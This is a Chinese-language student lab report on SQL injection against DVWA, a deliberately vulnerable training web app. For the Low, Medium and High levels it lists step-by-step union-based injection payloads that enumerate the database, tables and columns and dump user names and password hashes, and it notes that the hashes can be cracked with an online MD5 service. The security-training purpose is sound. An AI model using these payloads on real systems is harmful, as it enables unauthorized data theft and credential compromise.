【实验内容及要求】
一、内容:掌握SQL注入攻击的原理,掌握基本SQL注入攻击的方法,掌握防SQL注入攻击的基本措施。
二、要求:
- DVWA环境配置
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。DVWA共有十个模块,分别是:Brute Force(暴力破解);Command Injection(命令行注入);CSRF(跨站请求伪造);File Inclusion(文件包含);File Upload(文件上传);Insecure CAPTCHA (不安全的验证码);SQL Injection(SQL注入);SQL Injection(Blind)(SQL盲注);XSS(Reflected)(反射型跨站脚本);XSS(Stored)(存储型跨站脚本)。在DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible,可以接触一些PHP代码审计的内容。
本实验要求在下载安装并配置好DVWA实验环境,在DVWA中创建数据库,并进行登录。
- SQL注入
在DVWA中选择SQL injection,其难度等级分为low、medium、high和impossible。随后根据自身情况进行四种等级的SQL注入实验。
- 亦可使用sqlmap来进行SQL注入攻击实验。
【实验平台】
【实验步骤】
一、实验环境的搭建
1.将DVWA安装包解压到如图所示相应位置,并备份修改config.inc.php.dist文件配置,然后将安装包解压。
![](https://file.jishuzhan.net/article/1743462377703084034/432ee9322044dee4d995f87d82ec3605.webp)
![](https://file.jishuzhan.net/article/1743462377703084034/4c1931bc90bfc930917274226984de0e.webp)
![](https://file.jishuzhan.net/article/1743462377703084034/e8f300b56f1fb14fa89c5122f8491bc4.webp)
2.更改文件夹权限,并重启apache服务。
![](https://file.jishuzhan.net/article/1743462377703084034/35378b7192fdc08742b76db7d4a65419.webp)
![](https://file.jishuzhan.net/article/1743462377703084034/163f4ce3ad52036abe83e9182cbe4b9c.webp)
3.登录搭建好的网站,更改配置,然后点击Create/Reset Database登录。
![](https://file.jishuzhan.net/article/1743462377703084034/ed5380e3e91294f013be1ebf3ba7a558.webp)
二、Low级别的SQL注入
判断注入点。
找闭合,输入1'报错"You have an error in your SQL syntax";输入1''不报错,说明闭合是单引号。
输入1' or '1234'='1234,获得所有First name和Surname。
![](https://file.jishuzhan.net/article/1743462377703084034/747132262c92a2edacbf10a8795072f4.webp)
输入1' or 1=1 order by 1 #,判断有几个字段;
![](https://file.jishuzhan.net/article/1743462377703084034/fa36cf9dde3dc6d77367420f39615486.webp)
输入1' or 1=1 order by 2 #;
![](https://file.jishuzhan.net/article/1743462377703084034/c19662ede90e086caa312dbb8aacd93e.webp)
输入1' or 1=1 order by 3 #,说明SQL语句查询查询的表的字段数为2。
![](https://file.jishuzhan.net/article/1743462377703084034/ba0d57e60788951c0462f43c313b47ec.webp)
输入1' union select 1,2 #,判断回显。
![](https://file.jishuzhan.net/article/1743462377703084034/9968db59c45094d35ea458bf10d6ea1e.webp)
爆库,输入1' union select 1,database() #,判断使用的数据库。
![](https://file.jishuzhan.net/article/1743462377703084034/49cadde67882b1da8cb386500861dce6.webp)
爆表,输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,获得该数据库的表名。
![](https://file.jishuzhan.net/article/1743462377703084034/b5b14dc98d6235fd5d443db67f87fa36.webp)
爆列,输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,获得user表的列名。
![](https://file.jishuzhan.net/article/1743462377703084034/b5b14dc98d6235fd5d443db67f87fa36.webp)
输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,获得用户名和密码。
![](https://file.jishuzhan.net/article/1743462377703084034/d2a731ba2d3daafb0c6a0b027dce9346.webp)
密码均为MD5加密,使用CMD5可进行破解。
三、Medium级别SQL注入
由于界面不允许自行输入,使用BurpSuite进行抓包。
更改为id=4 or 1=1 #&Submit=Submit可获得所有用户。
![](https://file.jishuzhan.net/article/1743462377703084034/286db5b911905f3719c6e3ddb8c77cd7.webp)
更改为id=4 order by 2 #&Submit=Submit确定列数。
![](https://file.jishuzhan.net/article/1743462377703084034/fc434fbcee6f7c485c5f85da7c934739.webp)
![](https://file.jishuzhan.net/article/1743462377703084034/1bdd8798b11217c705975375dc29c6ef.webp)
更改为id=4 union select 1,2 #&Submit=Submit,判断回显。
![](https://file.jishuzhan.net/article/1743462377703084034/4bc307d645b1e7337543b866061ca19f.webp)
更改为id=4 union select 1,database() #&Submit=Submit,爆库。
![](https://file.jishuzhan.net/article/1743462377703084034/86319f91fb0cef5e2cd52fc0fded541b.webp)
更改为id=4 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&Submit=Submit,爆表。
![](https://file.jishuzhan.net/article/1743462377703084034/95b9d4a342e9577b146e712581fd08f8.webp)
更改为id=4 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&Submit=Submit,爆列。(其中0x7573657273为users的十六进制ascii码)
![](https://file.jishuzhan.net/article/1743462377703084034/bb4c08f6df065d2dddc40cde83d1971f.webp)
更改为id=4 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit,获得用户名和密码。
![](https://file.jishuzhan.net/article/1743462377703084034/eb72800a31729e448174909c4a655d15.webp)
四、High级别SQL注入
判断注入点。
找闭合,输入1'报错"You have an error in your SQL syntax";输入1''不报错,说明闭合是单引号。
输入1' or 1=1#,获得所有First name和Surname。
![](https://file.jishuzhan.net/article/1743462377703084034/3e853f2e8e7745da4ca9bb8875a51e96.webp)
输入1' or 1=1 order by 2 #,判断有几个字段;
![](https://file.jishuzhan.net/article/1743462377703084034/c1fec31248bdfb52e45cfaa204bbb31e.webp)
输入1' or 1=1 order by 3 #,说明SQL语句查询查询的表的字段数为2。
![](https://file.jishuzhan.net/article/1743462377703084034/c1fec31248bdfb52e45cfaa204bbb31e.webp)
输入1' union select 1,2 #,判断回显。
![](https://file.jishuzhan.net/article/1743462377703084034/202d2df025e08df776920d437679acbe.webp)
爆库,输入1' union select 1,database() #,判断使用的数据库。
![](https://file.jishuzhan.net/article/1743462377703084034/aad67aa76c678993c7e1f4a8c914658a.webp)
爆表,输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,获得该数据库的表名。
![](https://file.jishuzhan.net/article/1743462377703084034/345efd9bb783ed37cea52258709010c8.webp)
爆列,输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,获得user表的列名。
![](https://file.jishuzhan.net/article/1743462377703084034/0abd13d2737a263068fdd618b7161cbf.webp)
输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,获得用户名和密码。
![](https://file.jishuzhan.net/article/1743462377703084034/72b59ea0f37bddc7e44fde203c1a5eb8.webp)
五、Impossible级别
无法注入,因为Impossible级别的源码使用正则表达式过滤掉了不合法的字符。